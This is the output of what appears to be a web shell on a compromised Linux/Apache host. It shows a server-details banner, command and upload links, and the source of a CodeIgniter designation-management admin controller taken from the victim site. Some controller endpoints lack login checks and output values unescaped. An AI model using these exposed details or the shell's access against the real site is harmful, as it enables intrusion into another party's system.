GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.138.122.90 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to designations. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Designation extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/DepartmentManagement'); $this->load->model('admin/DesignationManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allDesignations'] = $this->DesignationManagement->getAllDesignations()->result(); $this->load->view('admin/designations', $viewData); } else { redirect("admin/"); } } public function createDesignation() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $this->load->view('admin/createDesignation', $viewData); } else { redirect("admin/"); } } public function saveNewDesignation() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('desigCategory', 'Designation Category', 'trim|required', array('required' => 'Please Select Category For This Designation.')); $this->form_validation->set_rules('desigName', 'Designation Name', 'trim|required', array('required' => 'Designation Name Can Not Be Blank.')); $queryByDesignationName = $this->DesignationManagement->getDesignationInfoByName(trim($this->input->post('desigName'))); $designationInfoByName = $queryByDesignationName->result(); if ($this->form_validation->run() == FALSE) { $this->createDesignation(); } else if (sizeof($designationInfoByName)) { $this->session->set_flashdata('errorMessage', "A Designation With This Name Already Exits. Please choose A Different Name."); $this->createDesignation(); } else { $newDesignationInfo = array( 'desig_name' => addslashes(trim($this->input->post('desigName'))), 'desig_desc' => addslashes(trim($this->input->post('designationDescription'))), 'dcm_id' => $this->input->post('desigCategory'), 'desig_added_on' => date("Y-m-d H:i:s"), 'desig_added_by' => $this->session->userdata("adminData")["smember_id"], 'desig_updated_on' => date("Y-m-d H:i:s"), 'desig_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->DesignationManagement->createNewDesignation($newDesignationInfo)) { $this->session->set_flashdata('successMessage', 'Designation Created Successfully.'); redirect("admin/Designation"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Designation. Try Later.'); redirect("admin/Designation"); } } } else { redirect("admin/"); } } public function editDesignation($desig_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $viewData['designationInfo'] = $this->DesignationManagement->getDesignationInfoBy($desig_id)->result()[0]; $this->load->view('admin/editDesignation', $viewData); } else { redirect("admin/"); } } public function updateDesignation() { if ($this->sessionvalidator->isLoggedIn()) { $desig_id = $this->input->post('desigId'); $this->form_validation->set_rules('desigCategory', 'Designation Category', 'trim|required', array('required' => 'Please Select Category For This Designation.')); $this->form_validation->set_rules('desigName', 'Designation Name', 'trim|required', array('required' => 'Designation Name Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->editDesignation($desig_id); } else if (!$this->DesignationManagement->isDesignationNameSafeUpdate($desig_id, trim($this->input->post('desigName')))) { $this->session->set_flashdata('errorMessage', "A Designation With This Name Already Exits. Please choose A Different Name."); $this->editDesignation($desig_id); } else { $designationInfo = array( 'desig_id' => $desig_id, 'desig_name' => addslashes(trim($this->input->post('desigName'))), 'desig_desc' => addslashes(trim($this->input->post('designationDescription'))), 'dcm_id' => $this->input->post('desigCategory'), 'desig_updated_on' => date("Y-m-d H:i:s"), 'desig_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->DesignationManagement->updateDesignationInfo($designationInfo)) { $this->session->set_flashdata('successMessage', 'Designation Updated Successfully.'); redirect("admin/Designation"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Designation. Try Later.'); redirect("admin/Designation"); } } } else { redirect("admin/"); } } public function toggleDesignationStatus($desig_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $designationUpdateData = array( 'desig_id' => $desig_id, 'desig_updated_on' => date("Y-m-d H:i:s"), 'desig_updated_by' => $this->session->userdata("adminData")["smember_id"], 'desig_active_status' => $toUpdateStatus ); if ($this->DesignationManagement->updateDesignationInfo($designationUpdateData)) { $this->session->set_flashdata('successMessage', 'Designation Status Updated Successfully.'); redirect("admin/Designation"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Designation Status. Try Later.'); redirect("admin/Designation"); } } else { redirect("admin/"); } } public function deleteDesignation($desig_id) { if ($this->sessionvalidator->isLoggedIn()) { $designationUpdateData = array( 'desig_id' => $desig_id, 'desig_updated_on' => date("Y-m-d H:i:s"), 'desig_updated_by' => $this->session->userdata("adminData")["smember_id"], 'desig_delete_status' => 'T' ); if ($this->DesignationManagement->updateDesignationInfo($designationUpdateData)) { $this->session->set_flashdata('successMessage', 'Designation Deleted Successfully.'); redirect("admin/Designation"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Designation. Try Later.'); redirect("admin/Designation"); } } else { redirect("admin/"); } } public function undoDeleteDesignation($desig_id) { if ($this->sessionvalidator->isLoggedIn()) { $designationUpdateData = array( 'desig_id' => $desig_id, 'desig_updated_on' => date("Y-m-d H:i:s"), 'desig_updated_by' => $this->session->userdata("adminData")["smember_id"], 'desig_delete_status' => 'F' ); if ($this->DesignationManagement->updateDesignationInfo($designationUpdateData)) { $this->session->set_flashdata('successMessage', 'Designation Recovered Successfully.'); redirect("admin/Designation"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Designation. Try Later.'); redirect("admin/Designation"); } } else { redirect("admin/"); } } public function getNonDeletedActiveDesignationsForDropDown() { $desig_cat_id = $_POST['desig_cat_id']; $query = $this->DesignationManagement->getActiveNonDeletedDesignationsUnderGivenCategory($desig_cat_id); $desigtList = $query->result(); $options = "<option value=''>Select Designation</option>"; for ($i = 0; $i < (sizeof($desigtList)); $i++) { $options .= "<option value=" . $desigtList[$i]->desig_id . ">" . stripslashes($desigtList[$i]->desig_name) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'desig_list' => $options ); echo json_encode($responseData); } public function getNonDeletedActiveDesignationsForDropDownSelected() { $desig_cat_id = $_POST['desig_cat_id']; $desig_id = $_POST['desig_id']; $query = $this->DesignationManagement->getActiveNonDeletedDesignationsUnderGivenCategory($desig_cat_id); $desigtList = $query->result(); $options = "<option value=''>Select Designation</option>"; for ($i = 0; $i < (sizeof($desigtList)); $i++) { $selected = ($desigtList[$i]->desig_id == $desig_id) ? "selected" : ""; $options .= "<option value=" . $desigtList[$i]->desig_id . " " . $selected . ">" . stripslashes($desigtList[$i]->desig_name) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'desig_list' => $options ); echo json_encode($responseData); } /* Functions For Designation Categories */ public function categories() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allDesignationCategories'] = $this->DesignationManagement->getAllDesignationCategories()->result(); $this->load->view('admin/designationCategories', $viewData); } else { redirect("admin/"); } } public function createDesignationCategory() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/createDesignationCategory'); } else { redirect("admin/"); } } public function saveNewDesignationCategory() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('desigCatName', 'Designation Category Name', 'trim|required', array('required' => 'Designation Category Name Can Not Be Blank.')); $this->form_validation->set_rules('desigCatShortName', 'Designation Category Short Name', 'trim|required', array('required' => 'Designation Category Short Name Can Not Be Blank.')); $queryByDesignationCatName = $this->DesignationManagement->getDesignationCategoryByName(trim($this->input->post('desigCatName'))); $designationCatInfoByName = $queryByDesignationCatName->result(); $queryByDesignationCatShortName = $this->DesignationManagement->getDesignationCategoryByShortName(trim($this->input->post('desigCatName'))); $designationCatInfoByShortName = $queryByDesignationCatShortName->result(); if ($this->form_validation->run() == FALSE) { $this->createDesignationCategory(); } else if (sizeof($designationCatInfoByName)) { $this->session->set_flashdata('errorMessage', "A Designation Category With This Name (" . trim($this->input->post('desigCatName')) . ") Already Exits. Please choose A Different Name."); $this->createDesignationCategory(); } else if (sizeof($designationCatInfoByShortName)) { $this->session->set_flashdata('errorMessage', "A Designation Category With This Short Name (" . trim($this->input->post('desigCatShortName')) . ") Already Exits. Please choose A Different Short Name."); $this->createDesignationCategory(); } else { $newDesignationCategoryInfo = array( 'dcm_name' => addslashes(trim($this->input->post('desigCatName'))), 'dcm_short_name' => addslashes(trim($this->input->post('desigCatShortName'))), 'dcm_description' => addslashes(trim($this->input->post('designationCatDescription'))), 'dcm_added_on' => date("Y-m-d H:i:s"), 'dcm_added_by' => $this->session->userdata("adminData")["smember_id"], 'dcm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'dcm_updated_on' => date("Y-m-d H:i:s") ); if ($this->DesignationManagement->createNewDesignationCategory($newDesignationCategoryInfo)) { $this->session->set_flashdata('successMessage', 'Designation Category Created Successfully. <a href="'.site_url("admin/Designation/createDesignationCategory").'">Click Here</a> To Add Designation.'); redirect("admin/Designation/categories"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Designation Category. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function editDesignationCategory($desig_cat_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['designationCategoryInfo'] = $this->DesignationManagement->getDesignationCategoryBy($desig_cat_id)->result()[0]; $this->load->view('admin/editDesignationCategory', $viewData); } else { redirect("admin/"); } } public function updateDesignationCategory() { if ($this->sessionvalidator->isLoggedIn()) { $desigCatId = $this->input->post('desigCatId'); $this->form_validation->set_rules('desigCatName', 'Designation Category Name', 'trim|required', array('required' => 'Designation Category Name Can Not Be Blank.')); $this->form_validation->set_rules('desigCatShortName', 'Designation Category Short Name', 'trim|required', array('required' => 'Designation Category Short Name Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->editDesignationCategory($desigCatId); } else if (!$this->DesignationManagement->isDesignationCategoryNameSafeUpdate($desigCatId, trim($this->input->post('desigCatName')))) { $this->session->set_flashdata('errorMessage', "A Designation Category With This Name (" . trim($this->input->post('desigCatName')) . ") Already Exits. Please choose A Different Name."); $this->editDesignationCategory($desigCatId); } else if (!$this->DesignationManagement->isDesignationCategoryShortNameSafeUpdate($desigCatId, trim($this->input->post('desigCatShortName')))) { $this->session->set_flashdata('errorMessage', "A Designation Category With This Short Name (" . trim($this->input->post('desigCatShortName')) . ") Already Exits. Please choose A Different Short Name."); $this->editDesignationCategory($desigCatId); } else { $designationCategoryInfo = array( 'dcm_id' => $desigCatId, 'dcm_name' => addslashes(trim($this->input->post('desigCatName'))), 'dcm_short_name' => addslashes(trim($this->input->post('desigCatShortName'))), 'dcm_description' => addslashes(trim($this->input->post('designationCatDescription'))), 'dcm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'dcm_updated_on' => date("Y-m-d H:i:s") ); if ($this->DesignationManagement->updateDesignationCategoryInfo($designationCategoryInfo)) { $this->session->set_flashdata('successMessage', 'Designation Category Updated Successfully.'); redirect("admin/Designation/categories"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Designation Category. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleDesignationCategoryStatus($desig_cat_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $designationCatUpdateData = array( 'dcm_id' => $desig_cat_id, 'dcm_updated_on' => date("Y-m-d H:i:s"), 'dcm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'dcm_active_status' => $toUpdateStatus ); if ($this->DesignationManagement->updateDesignationCategoryInfo($designationCatUpdateData)) { $this->session->set_flashdata('successMessage', 'Designation Category Status Updated Successfully.'); redirect("admin/Designation/categories"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Designation Category Status. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function deleteDesignationCategory($desig_cat_id) { if ($this->sessionvalidator->isLoggedIn()) { $designationCatUpdateData = array( 'dcm_id' => $desig_cat_id, 'dcm_updated_on' => date("Y-m-d H:i:s"), 'dcm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'dcm_delete_status' => 'T' ); if ($this->DesignationManagement->updateDesignationCategoryInfo($designationCatUpdateData)) { $this->session->set_flashdata('successMessage', 'Designation Category Deleted Successfully.'); redirect("admin/Designation/categories"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Designation Category. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function undoDeleteDesignationCategory($desig_cat_id) { if ($this->sessionvalidator->isLoggedIn()) { $designationCatUpdateData = array( 'dcm_id' => $desig_cat_id, 'dcm_updated_on' => date("Y-m-d H:i:s"), 'dcm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'dcm_delete_status' => 'F' ); if ($this->DesignationManagement->updateDesignationCategoryInfo($designationCatUpdateData)) { $this->session->set_flashdata('successMessage', 'Designation Category Recovered Successfully.'); redirect("admin/Designation/categories"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Designation Category. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } }